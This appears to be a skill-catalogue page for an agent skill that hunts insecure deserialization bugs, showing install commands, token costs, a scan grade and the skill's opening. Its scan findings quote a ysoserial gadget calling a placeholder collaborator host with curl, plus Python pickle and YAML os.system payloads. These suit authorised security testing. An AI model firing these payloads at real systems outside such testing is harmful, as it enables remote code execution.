Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/encod3d-sec/torch/hunt-deserializationnpx skills add Encod3d-Sec/TORCH --skill hunt-deserializationgit clone --depth 1 https://github.com/Encod3d-Sec/TORCHWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/encod3d-sec/torch/hunt-deserialization)<a href="https://agentmods.dev/skills/encod3d-sec/torch/hunt-deserialization"><img src="https://agentmods.dev/badge/skills/encod3d-sec/torch/hunt-deserialization.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00047 | $0.01752 |
| Opus 5 | $0.00023 | $0.00876 |
| Sonnet 5 | $0.00009 | $0.00350 |
| Haiku 4.5 | $0.00005 | $0.00175 |
Grade A, and why
hunt-deserialization scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0 # after sink confirmed Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
5. **Python:** `pickle.loads` on user data -> `__reduce__` returning `(os.system, ("cmd",))`. yaml.load (unsafe) -> `!!python/object/apply:os.system`. How it starts
The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Hunt: Insecure Deserialization
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.
Wiki
qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP
Hub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: wiki/payloads/deserialization.md.
Anchors: [[ml-model-deserialization]].
Confirmation gate
Blind deserialization RCE claims require an OOB HIT. No exceptions. The first payload is always
a benign OOB probe, never a command: Java URLDNS / JRMPClient force a DNS/TCP callback with zero
code-exec risk, proving the sink deserializes attacker data before you fire a gadget.
NOT confirmation: a deserialization error, a type error, a stack trace, a 500, or the blob
merely being accepted. Any of these alone means the parser saw your bytes, not that you control
execution.
IS confirmation: an OOB callback from the gadget to your unique Collaborator / interactsh subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect. Blind cases need the OOB HIT.
When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to
targets/<eng>/oob.md: | <token> | <sink url+param> | deser | <date> | waiting | | (columns:
token | sink | class | planted | status | source, token = your unique interactsh label). The
recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart
surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization
finding without a HIT row.
Attack surface signals
Fingerprint serialized blobs by magic bytes / shape:
rO0AB... Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD///// .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass": PHP serialize()
gASV / \x80\x04 / \x80\x05 Python pickle (base64 gAS...)
BAh... / --- !ruby/object Ruby Marshal / YAML
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 123 lines · 47 tokens per session scan A bea17423c924
hunt-deserialization is a skill published in the GitHub repository Encod3d-Sec/TORCH (303 stars, last pushed 5d ago), licensed MIT. It adds 47 tokens to every session and 1,752 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
local-ai-agents
Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…
chronicle
Analyze Copilot session history for standup reports, usage tips, session search, and session reindexing. Use when the user asks for a standup, daily summary, usage tips, workflow recommendations, wants to search or find past sessions by keyword/file/PR, wants to reindex their session store, or asks about deleting…
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…